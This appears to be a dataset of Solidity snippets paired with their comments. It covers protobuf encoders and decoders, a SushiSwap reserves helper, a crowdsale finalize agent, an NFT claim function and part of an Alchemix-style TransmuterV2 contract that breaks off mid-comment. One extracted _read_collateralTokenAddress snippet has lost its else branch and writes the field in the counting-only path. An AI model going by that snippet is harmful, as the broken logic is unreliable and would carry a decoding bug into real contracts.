decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[9] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_borrowingTokenAddress(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_collateralTokenAddress(pointer, bs, r, counters); } else if (fieldId == 3) { pointer += _read_borrowingAmount(pointer, bs, r, counters); } else if (fieldId == 4) { pointer += _read_collateralRatio(pointer, bs, r, counters); } else if (fieldId == 5) { pointer += _read_collateralAmount(pointer, bs, r, counters); } else if (fieldId == 6) { pointer += _read_interestRate(pointer, bs, r, counters); } else if (fieldId == 7) { pointer += _read_interestAmount(pointer, bs, r, counters); } else if (fieldId == 8) { pointer += _read_tenorDays(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_borrowingTokenAddress( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (address x, uint256 sz) = ProtoBufRuntime._decode_sol_address(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.borrowingTokenAddress = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_collateralTokenAddress( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (address x, uint256 sz) = ProtoBufRuntime._decode_sol_address(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.collateralTokenAddress = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_borrowingAmount( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint256 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint256(p, bs); if (isNil(r)) { counters[3] += 1; } else { r.borrowingAmount = x; if (counters[3] > 0) counters[3] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_collateralRatio( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint256 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint256(p, bs); if (isNil(r)) { counters[4] += 1; } else { r.collateralRatio = x; if (counters[4] > 0) counters[4] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_collateralAmount( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint256 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint256(p, bs); if (isNil(r)) { counters[5] += 1; } else { r.collateralAmount = x; if (counters[5] > 0) counters[5] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_interestRate( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint256 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint256(p, bs); if (isNil(r)) { counters[6] += 1; } else { r.interestRate = x; if (counters[6] > 0) counters[6] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_interestAmount( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint256 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint256(p, bs); if (isNil(r)) { counters[7] += 1; } else { r.interestAmount = x; if (counters[7] > 0) counters[7] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_tenorDays( uint256 p, bytes memory bs, Data memory r, uint[9] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (uint256 x, uint256 sz) = ProtoBufRuntime._decode_sol_uint256(p, bs); if (isNil(r)) { counters[8] += 1; } else { r.tenorDays = x; if (counters[8] > 0) counters[8] -= 1; } return sz; } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_address(r.borrowingTokenAddress, pointer, bs); pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_address(r.collateralTokenAddress, pointer, bs); pointer += ProtoBufRuntime._encode_key( 3, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint256(r.borrowingAmount, pointer, bs); pointer += ProtoBufRuntime._encode_key( 4, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint256(r.collateralRatio, pointer, bs); pointer += ProtoBufRuntime._encode_key( 5, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint256(r.collateralAmount, pointer, bs); pointer += ProtoBufRuntime._encode_key( 6, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint256(r.interestRate, pointer, bs); pointer += ProtoBufRuntime._encode_key( 7, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint256(r.interestAmount, pointer, bs); pointer += ProtoBufRuntime._encode_key( 8, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += ProtoBufRuntime._encode_sol_uint256(r.tenorDays, pointer, bs); return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @return The number of bytes encoded in estimation */ function _estimate( Data memory /* r */ ) internal pure returns (uint) { uint256 e; e += 1 + 23; e += 1 + 23; e += 1 + 35; e += 1 + 35; e += 1 + 35; e += 1 + 35; e += 1 + 35; e += 1 + 35; return e; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { output.borrowingTokenAddress = input.borrowingTokenAddress; output.collateralTokenAddress = input.collateralTokenAddress; output.borrowingAmount = input.borrowingAmount; output.collateralRatio = input.collateralRatio; output.collateralAmount = input.collateralAmount; output.interestRate = input.interestRate; output.interestAmount = input.interestAmount; output.tenorDays = input.tenorDays; } //utility functions /** * @dev Return an empty struct * @return The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library BorrowingProperties library BorrowingCompleteProperties { //struct definition struct Data { IssuanceProperties.Data issuanceProperties; BorrowingProperties.Data borrowingProperties; } // Decoder section /** * @dev The main decoder for memory * @param bs The bytes array to be decoded * @return The decoded struct */ function decode(bytes memory bs) internal pure returns (Data memory) { (Data memory x, ) = _decode(32, bs, bs.length); return x; } /** * @dev The main decoder for storage * @param self The in-storage struct * @param bs The bytes array to be decoded */ function decode(Data storage self, bytes memory bs) internal { (Data memory x, ) = _decode(32, bs, bs.length); store(x, self); } // inner decoder /** * @dev The decoder for internal usage * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param sz The number of bytes expected * @return The decoded struct * @return The number of bytes decoded */ function _decode(uint256 p, bytes memory bs, uint256 sz) internal pure returns (Data memory, uint) { Data memory r; uint[3] memory counters; uint256 fieldId; ProtoBufRuntime.WireType wireType; uint256 bytesRead; uint256 offset = p; uint256 pointer = p; while (pointer < offset + sz) { (fieldId, wireType, bytesRead) = ProtoBufRuntime._decode_key(pointer, bs); pointer += bytesRead; if (fieldId == 1) { pointer += _read_issuanceProperties(pointer, bs, r, counters); } else if (fieldId == 2) { pointer += _read_borrowingProperties(pointer, bs, r, counters); } else { if (wireType == ProtoBufRuntime.WireType.Fixed64) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed64(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Fixed32) { uint256 size; (, size) = ProtoBufRuntime._decode_fixed32(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.Varint) { uint256 size; (, size) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += size; } if (wireType == ProtoBufRuntime.WireType.LengthDelim) { uint256 size; (, size) = ProtoBufRuntime._decode_lendelim(pointer, bs); pointer += size; } } } return (r, sz); } // field readers /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_issuanceProperties( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (IssuanceProperties.Data memory x, uint256 sz) = _decode_IssuanceProperties(p, bs); if (isNil(r)) { counters[1] += 1; } else { r.issuanceProperties = x; if (counters[1] > 0) counters[1] -= 1; } return sz; } /** * @dev The decoder for reading a field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @param r The in-memory struct * @param counters The counters for repeated fields * @return The number of bytes decoded */ function _read_borrowingProperties( uint256 p, bytes memory bs, Data memory r, uint[3] memory counters ) internal pure returns (uint) { /** * if `r` is NULL, then only counting the number of fields. */ (BorrowingProperties.Data memory x, uint256 sz) = _decode_BorrowingProperties(p, bs); if (isNil(r)) { counters[2] += 1; } else { r.borrowingProperties = x; if (counters[2] > 0) counters[2] -= 1; } return sz; } // struct decoder /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_IssuanceProperties(uint256 p, bytes memory bs) internal pure returns (IssuanceProperties.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (IssuanceProperties.Data memory r, ) = IssuanceProperties._decode(pointer, bs, sz); return (r, sz + bytesRead); } /** * @dev The decoder for reading a inner struct field * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The decoded inner-struct * @return The number of bytes used to decode */ function _decode_BorrowingProperties(uint256 p, bytes memory bs) internal pure returns (BorrowingProperties.Data memory, uint) { uint256 pointer = p; (uint256 sz, uint256 bytesRead) = ProtoBufRuntime._decode_varint(pointer, bs); pointer += bytesRead; (BorrowingProperties.Data memory r, ) = BorrowingProperties._decode(pointer, bs, sz); return (r, sz + bytesRead); } // Encoder section /** * @dev The main encoder for memory * @param r The struct to be encoded * @return The encoded byte array */ function encode(Data memory r) internal pure returns (bytes memory) { bytes memory bs = new bytes(_estimate(r)); uint256 sz = _encode(r, 32, bs); assembly { mstore(bs, sz) } return bs; } // inner encoder /** * @dev The encoder for internal usage * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { uint256 offset = p; uint256 pointer = p; pointer += ProtoBufRuntime._encode_key( 1, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += IssuanceProperties._encode_nested(r.issuanceProperties, pointer, bs); pointer += ProtoBufRuntime._encode_key( 2, ProtoBufRuntime.WireType.LengthDelim, pointer, bs ); pointer += BorrowingProperties._encode_nested(r.borrowingProperties, pointer, bs); return pointer - offset; } // nested encoder /** * @dev The encoder for inner struct * @param r The struct to be encoded * @param p The offset of bytes array to start decode * @param bs The bytes array to be decoded * @return The number of bytes encoded */ function _encode_nested(Data memory r, uint256 p, bytes memory bs) internal pure returns (uint) { /** * First encoded `r` into a temporary array, and encode the actual size used. * Then copy the temporary array into `bs`. */ uint256 offset = p; uint256 pointer = p; bytes memory tmp = new bytes(_estimate(r)); uint256 tmpAddr = ProtoBufRuntime.getMemoryAddress(tmp); uint256 bsAddr = ProtoBufRuntime.getMemoryAddress(bs); uint256 size = _encode(r, 32, tmp); pointer += ProtoBufRuntime._encode_varint(size, pointer, bs); ProtoBufRuntime.copyBytes(tmpAddr + 32, bsAddr + pointer, size); pointer += size; delete tmp; return pointer - offset; } // estimator /** * @dev The estimator for a struct * @param r The struct to be encoded * @return The number of bytes encoded in estimation */ function _estimate( Data memory r ) internal pure returns (uint) { uint256 e; e += 1 + ProtoBufRuntime._sz_lendelim(IssuanceProperties._estimate(r.issuanceProperties)); e += 1 + ProtoBufRuntime._sz_lendelim(BorrowingProperties._estimate(r.borrowingProperties)); return e; } //store function /** * @dev Store in-memory struct to storage * @param input The in-memory struct * @param output The in-storage struct */ function store(Data memory input, Data storage output) internal { IssuanceProperties.store(input.issuanceProperties, output.issuanceProperties); BorrowingProperties.store(input.borrowingProperties, output.borrowingProperties); } //utility functions /** * @dev Return an empty struct * @return The empty struct */ function nil() internal pure returns (Data memory r) { assembly { r := 0 } } /** * @dev Test whether a struct is empty * @param x The struct to be tested * @return True if it is empty */ function isNil(Data memory x) internal pure returns (bool r) { assembly { r := iszero(x) } } } //library BorrowingCompleteProperties
The decoder for reading a field p The offset of bytes array to start decode bs The bytes array to be decoded r The in-memory struct counters The counters for repeated fields return The number of bytes decoded/ if `r` is NULL, then only counting the number of fields./
function _read_collateralTokenAddress( uint256 p, bytes memory bs, Data memory r, uint[7] memory counters ) internal pure returns (uint) { (address x, uint256 sz) = ProtoBufRuntime._decode_sol_address(p, bs); if (isNil(r)) { counters[1] += 1; r.collateralTokenAddress = x; if (counters[1] > 0) counters[1] -= 1; } return sz; }
5,489,890
./full_match/1/0x333545b0A1fc0675c8022Aa5685beBA31B1d62e9/sources/t2.sol
fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = ISushiSwap(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); }
4,858,126
pragma solidity ^0.4.15; import './FinalizeAgent.sol'; import '../math/SafeMath.sol'; import './AlgoryCrowdsale.sol'; /** * A finalize agent that does nothing. * Token transfer must be manually released by the owner */ contract NullFinalizeAgent is FinalizeAgent { AlgoryCrowdsale public crowdsale; function NullFinalizeAgent(AlgoryCrowdsale _crowdsale) { crowdsale = _crowdsale; } function isSane() public constant returns (bool) { return crowdsale.finalizeAgent() == address(this); } /** Called once by crowdsale finalize() if the sale was success. */ function finalizeCrowdsale() public { // nothing to do } }
Called once by crowdsale finalize() if the sale was success. / nothing to do
function finalizeCrowdsale() public { }
12,889,818
./full_match/1/0x2355839B2757880d08b978fc5BA73FdC6159B832/sources/contracts/Shard.sol
check if the price is correct refund excess ETH
function claimTokens( address to, uint256 tokenId, uint256 amount, uint256 price, string calldata nonce, bytes memory signature ) external payable nonReentrant { _claimTokens(to, tokenId, amount, price, nonce, signature); if (price > 0) { require(msg.value >= price, "Insufficient funds"); } if (msg.value - price > 0.0001 ether) { payable(msg.sender).transfer(msg.value - price); } }
5,007,114
// SPDX-License-Identifier: Unlicense pragma solidity ^0.8.11; import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "./base/Errors.sol"; import "./interfaces/IWhitelist.sol"; import "./interfaces/transmuter/ITransmuterV2.sol"; import "./interfaces/transmuter/ITransmuterBuffer.sol"; import "./libraries/FixedPointMath.sol"; import "./libraries/LiquidityMath.sol"; import "./libraries/SafeCast.sol"; import "./libraries/Tick.sol"; import "./libraries/TokenUtils.sol"; /// @title TransmuterV2 /// /// @notice A contract which facilitates the exchange of synthetic assets for their underlying // asset. This contract guarantees that synthetic assets are exchanged exactly 1:1 // for the underlying asset. contract TransmuterV2 is ITransmuterV2, Initializable, ReentrancyGuardUpgradeable, AccessControlUpgradeable { using FixedPointMath for FixedPointMath.Number; using Tick for Tick.Cache; struct Account { // The total number of unexchanged tokens that an account has deposited into the system uint256 unexchangedBalance; // The total number of exchanged tokens that an account has had credited uint256 exchangedBalance; // The tick that the account has had their deposit associated in uint256 occupiedTick; } struct UpdateAccountParams { // The owner address whose account will be modified address owner; // The amount to change the account's unexchanged balance by int256 unexchangedDelta; // The amount to change the account's exchanged balance by int256 exchangedDelta; } struct ExchangeCache { // The total number of unexchanged tokens that exist at the start of the exchange call uint256 totalUnexchanged; // The tick which has been satisfied up to at the start of the exchange call uint256 satisfiedTick; // The head of the active ticks queue at the start of the exchange call uint256 ticksHead; } struct ExchangeState { // The position in the buffer of current tick which is being examined uint256 examineTick; // The total number of unexchanged tokens that currently exist in the system for the current distribution step uint256 totalUnexchanged; // The tick which has been satisfied up to, inclusive uint256 satisfiedTick; // The amount of tokens to distribute for the current step uint256 distributeAmount; // The accumulated weight to write at the new tick after the exchange is completed FixedPointMath.Number accumulatedWeight; // Reserved for the maximum weight of the current distribution step FixedPointMath.Number maximumWeight; // Reserved for the dusted weight of the current distribution step FixedPointMath.Number dustedWeight; } struct UpdateAccountCache { // The total number of unexchanged tokens that the account held at the start of the update call uint256 unexchangedBalance; // The total number of exchanged tokens that the account held at the start of the update call uint256 exchangedBalance; // The tick that the account's deposit occupies at the start of the update call uint256 occupiedTick; // The total number of unexchanged tokens that exist at the start of the update call uint256 totalUnexchanged; // The current tick that is being written to uint256 currentTick; } struct UpdateAccountState { // The updated unexchanged balance of the account being updated uint256 unexchangedBalance; // The updated exchanged balance of the account being updated uint256 exchangedBalance; // The updated total unexchanged balance uint256 totalUnexchanged; } address public constant ZERO_ADDRESS = address(0); /// @dev The identifier of the role which maintains other roles. bytes32 public constant ADMIN = keccak256("ADMIN"); /// @dev The identitifer of the sentinel role bytes32 public constant SENTINEL = keccak256("SENTINEL"); /// @inheritdoc ITransmuterV2 string public constant override version = "2.2.0"; /// @dev the synthetic token to be transmuted address public syntheticToken; /// @dev the underlying token to be received address public override underlyingToken; /// @dev The total amount of unexchanged tokens which are held by all accounts. uint256 public totalUnexchanged; /// @dev The total amount of tokens which are in the auxiliary buffer. uint256 public totalBuffered; /// @dev A mapping specifying all of the accounts. mapping(address => Account) private accounts; // @dev The tick buffer which stores all of the tick information along with the tick that is // currently being written to. The "current" tick is the tick at the buffer write position. Tick.Cache private ticks; // The tick which has been satisfied up to, inclusive. uint256 private satisfiedTick; /// @dev contract pause state bool public isPaused; /// @dev the source of the exchanged collateral address public buffer; /// @dev The address of the external whitelist contract. address public override whitelist; /// @dev The amount of decimal places needed to normalize collateral to debtToken uint256 public override conversionFactor; constructor() initializer {} function initialize( address _syntheticToken, address _underlyingToken, address _buffer, address _whitelist ) external initializer { _setupRole(ADMIN, msg.sender); _setRoleAdmin(ADMIN, ADMIN); _setRoleAdmin(SENTINEL, ADMIN); syntheticToken = _syntheticToken; underlyingToken = _underlyingToken; uint8 debtTokenDecimals = TokenUtils.expectDecimals(syntheticToken); uint8 underlyingTokenDecimals = TokenUtils.expectDecimals(underlyingToken); conversionFactor = 10**(debtTokenDecimals - underlyingTokenDecimals); buffer = _buffer; // Push a blank tick to function as a sentinel value in the active ticks queue. ticks.next(); isPaused = false; whitelist = _whitelist; } /// @dev A modifier which checks if caller is an alchemist. modifier onlyBuffer() { if (msg.sender != buffer) { revert Unauthorized(); } _; } /// @dev A modifier which checks if caller is a sentinel or admin. modifier onlySentinelOrAdmin() { if (!hasRole(SENTINEL, msg.sender) && !hasRole(ADMIN, msg.sender)) { revert Unauthorized(); } _; } /// @dev A modifier which checks if caller is a sentinel. modifier notPaused() { if (isPaused) { revert IllegalState(); } _; } function _onlyAdmin() internal view { if (!hasRole(ADMIN, msg.sender)) { revert Unauthorized(); } } function setCollateralSource(address _newCollateralSource) external { _onlyAdmin(); buffer = _newCollateralSource; } function setPause(bool pauseState) external onlySentinelOrAdmin { isPaused = pauseState; emit Paused(isPaused); } /// @inheritdoc ITransmuterV2 function deposit(uint256 amount, address owner) external override nonReentrant { _onlyWhitelisted(); _updateAccount( UpdateAccountParams({ owner: owner, unexchangedDelta: SafeCast.toInt256(amount), exchangedDelta: 0 }) ); TokenUtils.safeTransferFrom(syntheticToken, msg.sender, address(this), amount); emit Deposit(msg.sender, owner, amount); } /// @inheritdoc ITransmuterV2 function withdraw(uint256 amount, address recipient) external override nonReentrant { _onlyWhitelisted(); _updateAccount( UpdateAccountParams({ owner: msg.sender, unexchangedDelta: -SafeCast.toInt256(amount), exchangedDelta: 0 }) ); TokenUtils.safeTransfer(syntheticToken, recipient, amount); emit Withdraw(msg.sender, recipient, amount); } /// @inheritdoc ITransmuterV2 function claim(uint256 amount, address recipient) external override nonReentrant { _onlyWhitelisted(); _updateAccount( UpdateAccountParams({ owner: msg.sender, unexchangedDelta: 0, exchangedDelta: -SafeCast.toInt256(_normalizeUnderlyingTokensToDebt(amount)) }) ); TokenUtils.safeBurn(syntheticToken, _normalizeUnderlyingTokensToDebt(amount)); ITransmuterBuffer(buffer).withdraw(underlyingToken, amount, msg.sender); emit Claim(msg.sender, recipient, amount); } /// @inheritdoc ITransmuterV2 function exchange(uint256 amount) external override nonReentrant onlyBuffer notPaused { uint256 normaizedAmount = _normalizeUnderlyingTokensToDebt(amount); if (totalUnexchanged == 0) { totalBuffered += normaizedAmount; emit Exchange(msg.sender, amount); return; } // Push a storage reference to the current tick. Tick.Info storage current = ticks.current(); ExchangeCache memory cache = ExchangeCache({ totalUnexchanged: totalUnexchanged, satisfiedTick: satisfiedTick, ticksHead: ticks.head }); ExchangeState memory state = ExchangeState({ examineTick: cache.ticksHead, totalUnexchanged: cache.totalUnexchanged, satisfiedTick: cache.satisfiedTick, distributeAmount: normaizedAmount, accumulatedWeight: current.accumulatedWeight, maximumWeight: FixedPointMath.encode(0), dustedWeight: FixedPointMath.encode(0) }); // Distribute the buffered tokens as part of the exchange. state.distributeAmount += totalBuffered; totalBuffered = 0; // Push a storage reference to the next tick to write to. Tick.Info storage next = ticks.next(); // Only iterate through the active ticks queue when it is not empty. while (state.examineTick != 0) { // Check if there is anything left to distribute. if (state.distributeAmount == 0) { break; } Tick.Info storage examineTickData = ticks.get(state.examineTick); // Add the weight for the distribution step to the accumulated weight. state.accumulatedWeight = state.accumulatedWeight.add( FixedPointMath.rational(state.distributeAmount, state.totalUnexchanged) ); // Clear the distribute amount. state.distributeAmount = 0; // Calculate the current maximum weight in the system. state.maximumWeight = state.accumulatedWeight.sub(examineTickData.accumulatedWeight); // Check if there exists at least one account which is completely satisfied.. if (state.maximumWeight.n < FixedPointMath.ONE) { break; } // Calculate how much weight of the distributed weight is dust. state.dustedWeight = FixedPointMath.Number(state.maximumWeight.n - FixedPointMath.ONE); // Calculate how many tokens to distribute in the next step. These are tokens from any tokens which // were over allocated to accounts occupying the tick with the maximum weight. state.distributeAmount = LiquidityMath.calculateProduct(examineTickData.totalBalance, state.dustedWeight); // Remove the tokens which were completely exchanged from the total unexchanged balance. state.totalUnexchanged -= examineTickData.totalBalance; // Write that all ticks up to and including the examined tick have been satisfied. state.satisfiedTick = state.examineTick; // Visit the next active tick. This is equivalent to popping the head of the active ticks queue. state.examineTick = examineTickData.next; } // Write the accumulated weight to the next tick. next.accumulatedWeight = state.accumulatedWeight; if (cache.totalUnexchanged != state.totalUnexchanged) { totalUnexchanged = state.totalUnexchanged; } if (cache.satisfiedTick != state.satisfiedTick) { satisfiedTick = state.satisfiedTick; } if (cache.ticksHead != state.examineTick) { ticks.head = state.examineTick; } if (state.distributeAmount > 0) { totalBuffered += state.distributeAmount; } emit Exchange(msg.sender, amount); } /// @inheritdoc ITransmuterV2 function getUnexchangedBalance(address owner) external view override returns (uint256 unexchangedBalance) { Account storage account = accounts[owner]; if (account.occupiedTick <= satisfiedTick) { return 0; } unexchangedBalance = account.unexchangedBalance; uint256 exchanged = LiquidityMath.calculateProduct( unexchangedBalance, ticks.getWeight(account.occupiedTick, ticks.position) ); unexchangedBalance -= exchanged; return unexchangedBalance; } /// @inheritdoc ITransmuterV2 function getExchangedBalance(address owner) external view override returns (uint256 exchangedBalance) { return _getExchangedBalance(owner); } function getClaimableBalance(address owner) external view override returns (uint256 claimableBalance) { return _normalizeDebtTokensToUnderlying(_getExchangedBalance(owner)); } /// @dev Updates an account. /// /// @param params The call parameters. function _updateAccount(UpdateAccountParams memory params) internal { Account storage account = accounts[params.owner]; UpdateAccountCache memory cache = UpdateAccountCache({ unexchangedBalance: account.unexchangedBalance, exchangedBalance: account.exchangedBalance, occupiedTick: account.occupiedTick, totalUnexchanged: totalUnexchanged, currentTick: ticks.position }); UpdateAccountState memory state = UpdateAccountState({ unexchangedBalance: cache.unexchangedBalance, exchangedBalance: cache.exchangedBalance, totalUnexchanged: cache.totalUnexchanged }); // Updating an account is broken down into five steps: // 1). Synchronize the account if it previously occupied a satisfied tick // 2). Update the account balances to account for exchanged tokens, if any // 3). Apply the deltas to the account balances // 4). Update the previously occupied and or current tick's liquidity // 5). Commit changes to the account and global state when needed // Step one: // --------- // Check if the tick that the account was occupying previously was satisfied. If it was, we acknowledge // that all of the tokens were exchanged. if (state.unexchangedBalance > 0 && satisfiedTick >= cache.occupiedTick) { state.unexchangedBalance = 0; state.exchangedBalance += cache.unexchangedBalance; } // Step Two: // --------- // Calculate how many tokens were exchanged since the last update. if (state.unexchangedBalance > 0) { uint256 exchanged = LiquidityMath.calculateProduct( state.unexchangedBalance, ticks.getWeight(cache.occupiedTick, cache.currentTick) ); state.totalUnexchanged -= exchanged; state.unexchangedBalance -= exchanged; state.exchangedBalance += exchanged; } // Step Three: // ----------- // Apply the unexchanged and exchanged deltas to the state. state.totalUnexchanged = LiquidityMath.addDelta(state.totalUnexchanged, params.unexchangedDelta); state.unexchangedBalance = LiquidityMath.addDelta(state.unexchangedBalance, params.unexchangedDelta); state.exchangedBalance = LiquidityMath.addDelta(state.exchangedBalance, params.exchangedDelta); // Step Four: // ---------- // The following is a truth table relating various values which in combinations specify which logic branches // need to be executed in order to update liquidity in the previously occupied and or current tick. // // Some states are not obtainable and are just discarded by setting all the branches to false. // // | P | C | M | Modify Liquidity | Add Liquidity | Subtract Liquidity | // |---|---|---|------------------|---------------|--------------------| // | F | F | F | F | F | F | // | F | F | T | F | F | F | // | F | T | F | F | T | F | // | F | T | T | F | T | F | // | T | F | F | F | F | T | // | T | F | T | F | F | T | // | T | T | F | T 